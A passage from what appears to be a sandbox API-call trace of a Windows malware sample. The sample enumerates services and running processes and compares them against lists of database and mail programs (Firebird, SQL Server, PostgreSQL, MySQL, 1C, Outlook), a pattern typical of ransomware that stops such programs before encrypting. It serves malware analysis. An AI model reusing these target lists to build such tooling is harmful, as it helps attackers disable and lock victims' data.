lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.258] lstrlenW (lpString="MpsSvc") returned 6 [0059.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.258] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.258] lstrlenW (lpString="Netman") returned 6 [0059.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.259] lstrlenW (lpString="netprofm") returned 8 [0059.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.259] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.259] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.259] lstrlenW (lpString="NlaSvc") returned 6 [0059.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.259] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.259] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.259] lstrlenW (lpString="nsi") returned 3 [0059.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.259] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.259] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.259] lstrlenW (lpString="PcaSvc") returned 6 [0059.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.259] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.259] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.260] lstrlenW (lpString="PlugPlay") returned 8 [0059.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.260] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.260] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.260] lstrlenW (lpString="Power") returned 5 [0059.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.260] lstrlenW (lpString="ProfSvc") returned 7 [0059.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.260] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.260] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.260] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.261] lstrlenW (lpString="RpcSs") returned 5 [0059.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.261] lstrlenW (lpString="SamSs") returned 5 [0059.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.261] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.261] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.261] lstrlenW (lpString="Schedule") returned 8 [0059.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.262] lstrlenW (lpString="SENS") returned 4 [0059.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.262] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.262] lstrlenW (lpString="Spooler") returned 7 [0059.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.262] lstrlenW (lpString="SysMain") returned 7 [0059.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.262] lstrlenW (lpString="Themes") returned 6 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.263] lstrlenW (lpString="TrkWks") returned 6 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.263] lstrlenW (lpString="UxSms") returned 5 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.263] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.263] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.264] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.264] lstrlenW (lpString="Winmgmt") returned 7 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.264] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51e4a0 | out: hHeap=0x4b0000) returned 1 [0059.264] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0059.268] Process32FirstW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.269] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.269] lstrlenW (lpString="System") returned 6 [0059.269] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.269] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.269] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.269] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.269] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.269] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.269] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.269] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.270] lstrlenW (lpString="smss.exe") returned 8 [0059.270] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.270] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.270] lstrlenW (lpString="csrss.exe") returned 9 [0059.270] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.270] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.270] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.270] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.270] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.271] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.271] lstrlenW (lpString="wininit.exe") returned 11 [0059.271] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0059.271] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.271] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.271] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0059.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0059.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0059.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0059.271] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.272] lstrlenW (lpString="csrss.exe") returned 9 [0059.272] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.272] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.272] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.272] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.272] lstrlenW (lpString="winlogon.exe") returned 12 [0059.272] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.273] lstrlenW (lpString="services.exe") returned 12 [0059.273] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.273] lstrlenW (lpString="lsass.exe") returned 9 [0059.273] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.274] lstrlenW (lpString="lsm.exe") returned 7 [0059.274] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.274] lstrlenW (lpString="svchost.exe") returned 11 [0059.274] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.274] lstrlenW (lpString="svchost.exe") returned 11 [0059.274] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.275] lstrlenW (lpString="svchost.exe") returned 11 [0059.275] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.275] lstrlenW (lpString="svchost.exe") returned 11 [0059.275] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.275] lstrlenW (lpString="svchost.exe") returned 11 [0059.275] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.276] lstrlenW (lpString="audiodg.exe") returned 11 [0059.276] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.277] lstrlenW (lpString="svchost.exe") returned 11 [0059.277] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.277] lstrlenW (lpString="svchost.exe") returned 11 [0059.277] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.277] lstrlenW (lpString="dwm.exe") returned 7 [0059.277] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.278] lstrlenW (lpString="explorer.exe") returned 12 [0059.278] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.278] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.278] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.279] lstrlenW (lpString="svchost.exe") returned 11 [0059.279] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.279] lstrlenW (lpString="taskhost.exe") returned 12 [0059.279] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.280] lstrlenW (lpString="taskeng.exe") returned 11 [0059.280] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0059.280] lstrlenW (lpString="communist_nick.exe") returned 18 [0059.280] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0059.280] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0059.281] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0059.281] lstrlenW (lpString="prize.exe") returned 9 [0059.281] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0059.281] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0059.281] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0059.282] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0059.282] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0059.282] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0059.282] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0059.282] lstrlenW (lpString="prospects.exe") returned 13 [0059.283] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0059.283] lstrlenW (lpString="signalpackard.exe") returned 17 [0059.283] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 